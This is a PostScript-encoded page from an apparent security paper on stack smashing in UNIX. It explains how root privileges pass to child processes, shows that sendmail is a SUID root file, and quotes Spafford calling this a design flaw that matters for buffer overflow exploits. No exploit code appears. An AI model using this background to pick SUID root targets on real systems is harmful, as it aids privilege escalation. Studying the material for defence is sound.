ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9234 M (explains why most attackers who break into UNIX systems try to become ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9074 M (s) ST -1 0 MR (u) ST -1 0 MR (p) ST -1 0 MR (e) ST -1 0 MR (r) ST -1 0 MR (u) ST -1 0 MR (s) ST -1 0 MR (e) ST -2 0 MR (r) ST -2 0 MR (s) ST -2 0 MR (.) ST -2 0 MR (') ST -2 0 MR (' ) ST -11 0 MR ([) ST -2 0 MR (6) ST -2 0 MR (]) ST -2 0 MR (,) ST -2 0 MR (\() ST -2 0 MR (8) ST -2 0 MR (2) ST -2 0 MR (\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8645 M (Each ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2106 8645 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2734 8645 M (\(process\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3409 8645 M (started ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3916 8645 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4145 8645 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4411 8645 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4742 8645 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5083 8645 M (inherits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5645 8645 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5911 8645 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6242 8645 M (u) ST -5 0 MR (s) ST -5 0 MR (e) ST -5 0 MR (r) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6678 8645 M (all-inclusive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8369 M (privilege. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1951 8369 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2165 8369 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2564 8369 M (cases ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2991 8369 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3269 8369 M (inherited ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3935 8369 M (privilege ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4601 8369 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4787 8369 M (subsequently ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5730 8369 M (passed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6249 8369 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6453 8369 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6870 8369 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8093 M (spawned ) ST -6 0 MR (by ) ST -6 0 MR (root's ) ST -7 0 MR (running ) ST -7 0 MR (processes.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7817 M (Set ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1976 7817 M (UID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2325 7817 M (\(SUID\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2921 7817 M (permissions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3770 7817 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3952 7817 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4208 7817 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4677 7817 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5358 7817 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5874 7817 M (grant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6269 7817 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6396 7817 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6727 7817 M (privilege ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 7817 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7541 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1479 7541 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2162 7541 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2354 7541 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2721 7541 M (scripts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3209 7541 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3401 7541 M (another ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3953 7541 M (user. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4368 7541 M (When ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4818 7541 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5388 7541 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5515 7541 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6133 7541 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6325 7541 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6692 7541 M (script ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7115 7541 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 7541 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7265 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1665 7265 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2339 7265 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2890 7265 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3139 7265 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3685 7265 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3860 7265 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4462 7265 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4757 7265 M (handles ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5311 7265 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5560 7265 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6171 7265 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6863 7265 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7020 7265 M (usually ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6989 M (owned ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1720 6989 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1960 6989 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2237 6989 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2589 6989 M (who ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2949 6989 M (executed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3614 6989 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3891 6989 M (program. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4572 6989 M (Using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5043 6989 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5191 6989 M (unique ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5717 6989 M (permission ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6522 6989 M (bit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6771 6989 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6974 6989 M (indicate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6713 M (SUID, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1681 6713 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1928 6713 M (filesystem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2657 6713 M (indicates ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3292 6713 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3465 6713 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3712 6713 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4384 6713 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4891 6713 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5184 6713 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5431 6713 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6040 6713 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6342 6713 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6608 6713 M (under ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7031 6713 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7278 6713 M (file ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6437 M (o) ST -4 0 MR (w) ST -4 0 MR (n) ST -4 0 MR (e) ST -4 0 MR (r) ST -5 0 MR (') ST -5 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1772 6437 M (ID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1997 6437 M (rather ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2435 6437 M (than ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2770 6437 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3022 6437 M (u) ST -5 0 MR (s) ST -5 0 MR (e) ST -5 0 MR (r) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3444 6437 M (ID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3669 6437 M (who ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4004 6437 M (executed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4644 6437 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4896 6437 M (program. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5594 6437 M (Often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6022 6437 M (times ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6432 6437 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6870 6437 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6161 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1456 6161 M (owned ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1942 6161 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2151 6161 M (root; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2508 6161 M (while ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2920 6161 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3305 6161 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3978 6161 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4308 6161 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4508 6161 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5262 6161 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5471 6161 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5671 6161 M (underprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6767 6161 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7088 6161 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 6161 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5885 M (system, they run in memory with unrestricted access to the system. For Example:\ ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5513 M 7523 5513 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5508 M 1181 5335 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5508 M 7519 5335 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5334 M 1181 5230 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5334 M 7519 5230 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 5246 M (bash# ls -agl /usr/sbin/sendmail) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5229 M 1181 5125 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5229 M 7519 5125 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5141 M (-r-sr-sr-x 1 root kmem 292686 Mar 11 21:51 /usr/sbin/sendmail ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5124 M 1181 4951 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5124 M 7519 4951 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 4945 M 7523 4945 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3835 4814 M (SUID example 4.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 4545 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1414 4545 M ("s" ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1671 4545 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1856 4545 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2115 4545 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2882 4545 M (portion ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3418 4545 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3613 4545 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3872 4545 M (') ST -8 0 MR (w) ST -8 0 MR (o) ST -9 0 MR (r) ST -9 0 MR (l) ST -9 0 MR (d) ST -9 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4376 4545 M (permission ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5163 4545 M (block ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5588 4545 M (indicates ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6235 4545 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6540 4545 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 6836 4545 M (sendmail ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 4269 M (file ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1489 4269 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1654 4269 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1782 4269 M (set ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2021 4269 M (UID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2371 4269 M (file, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2689 4269 M (root) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3021 4269 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3075 4269 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3240 4269 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3497 4269 M (owner ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3967 4269 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4160 4269 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4417 4269 M (file. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4735 4269 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4909 4269 M (file ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5185 4269 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5544 4269 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5737 4269 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6031 4269 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6196 4269 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6592 4269 M (called ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7043 4269 M ("SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3993 M (root." ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1673 3993 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1918 3993 M (executing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2615 3993 M (sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3279 3993 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3330 3993 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3520 3993 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3728 3993 M (unprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4619 3993 M (user, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4990 3993 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5290 3993 M (underprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6394 3993 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6723 3993 M (temporarily ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3717 M (uses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1554 3717 M (r) ST -5 0 MR (o) ST -5 0 MR (o) ST -5 0 MR (t) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1977 3717 M (privilege ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2628 3717 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2817 3717 M (execute ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 3385 3717 M (sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4049 3717 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4193 3717 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4549 3717 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4720 3717 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5428 3717 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5617 3717 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6029 3717 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6218 3717 M (allow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 6647 3717 M (sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7311 3717 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 3717 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3441 M (update ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1689 3441 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2198 3441 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2383 3441 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2771 3441 M (u) ST -5 0 MR (s) ST -5 0 MR (e) ST -5 0 MR (r) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3190 3441 M (files, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3565 3441 M (something ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4304 3441 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4507 3441 M (underprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5606 3441 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5930 3441 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6281 3441 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6539 3441 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6899 3441 M (access ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 3441 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3165 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1431 3165 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1649 3165 M (default. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2205 3165 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2442 3165 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2734 3165 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3017 3165 M (see, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3324 3165 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3765 3165 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4085 3165 M (permissions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4933 3165 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5189 3165 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5546 3165 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5727 3165 M (grant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6121 3165 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6330 3165 M (unprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7222 3165 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2889 M (temporary, and necessary, use of privileged resources. As Eugene Spafford comm\ ents[6]:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2200 2639 M (``\205Many UNIX programs need to run with superuser privileges. These ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2479 M (programs are run as SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 3691 2479 M (root) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3922 2479 M ( programs, when the system boots, or as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2319 M (network servers. A single bug in any of these complicated programs can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2159 M (compromise the safety of your entire system. This characteristic is probably ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 1999 M (a design flaw, but it is basic to the design of UNIX, and it not likely to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 1839 M (c) ST -1 0 MR (h) ST -2 0 MR (a) ST -2 0 MR (n) ST -2 0 MR (g) ST -2 0 MR (e) ST -2 0 MR (.) ST -2 0 MR (') ST -2 0 MR (' ) ST -11 0 MR ([) ST -2 0 MR (6) ST -2 0 MR (]) ST -2 0 MR (,) ST -2 0 MR (\() ST -2 0 MR (7) ST -2 0 MR (0) ST -2 0 MR (1) ST -2 0 MR (\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 1653 M (Exploitation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2094 1653 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2297 1653 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2601 1653 M (``feature ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3240 1653 M (turned ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3729 1653 M (design ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4227 1653 M (f) ST -10 0 MR (l) ST -10 0 MR (a) ST -10 0 MR (w) ST -11 0 MR (') ST -11 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4647 1653 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4822 1653 M (critical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5348 1653 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5541 1653 M (constructing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6427 1653 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6899 1653 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1377 M (exploits.) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 10 10 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 